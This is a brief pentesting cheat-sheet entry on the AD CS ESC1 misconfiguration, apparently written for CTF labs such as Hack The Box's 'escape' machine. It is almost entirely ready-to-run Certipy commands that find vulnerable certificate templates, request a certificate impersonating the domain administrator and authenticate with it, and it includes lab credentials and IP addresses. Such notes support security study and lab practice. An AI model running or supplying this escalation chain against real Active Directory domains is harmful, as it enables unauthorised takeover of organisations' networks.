ESC1

ESC1 — Enrollee Supplies SAN / UPN

External: Hacker Recipes — ESC1

External: Internal All The Things — Certificate ESC1

Idea: Template lets requester set SAN/UPN → request cert as administrator.

Detect

certipy-ad find -u user@domain.htb -p 'PASS' -dc-ip DC_IP -vulnerable
grep -i ESC1 *_Certipy.txt

Exploit

certipy-ad req -u user@domain.htb -p 'PASS' -dc-ip DC_IP \
  -ca 'DC01.domain.htb\\DOMAIN-CA' -template 'VulnTemplate' \
  -upn 'administrator@domain.htb' -out administrator
 
certipy-ad auth -pfx administrator.pfx -password 'PFX_PASS' -dc-ip DC_IP
 
# Try without password too	
- certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.228.253
 

another way it worked on the escape box:

certipy-ad req -u ryan.cooper@sequel.htb -p NuclearMosquito3 -upn administrator@sequel.htb -target sequel.htb -ca sequel-dc-ca -template UserAuthentication (-dc-ip 10.129.228.253)

-target = CA FQDN if needed (not raw IP). SID mismatch? add -sid to req.

→ Certipy & Certify · AD CS ESC

Template/Example

certipy-ad req -u Ryan.Cooper@sequel.htb -p 'NuclearMosquito3' -dc-ip 10.129.228.253 -ca 'DC.sequel.htb\\sequel-DC-CA' -template 'UserAuthentication' -upn 'administrator@sequel.htb' -out administrator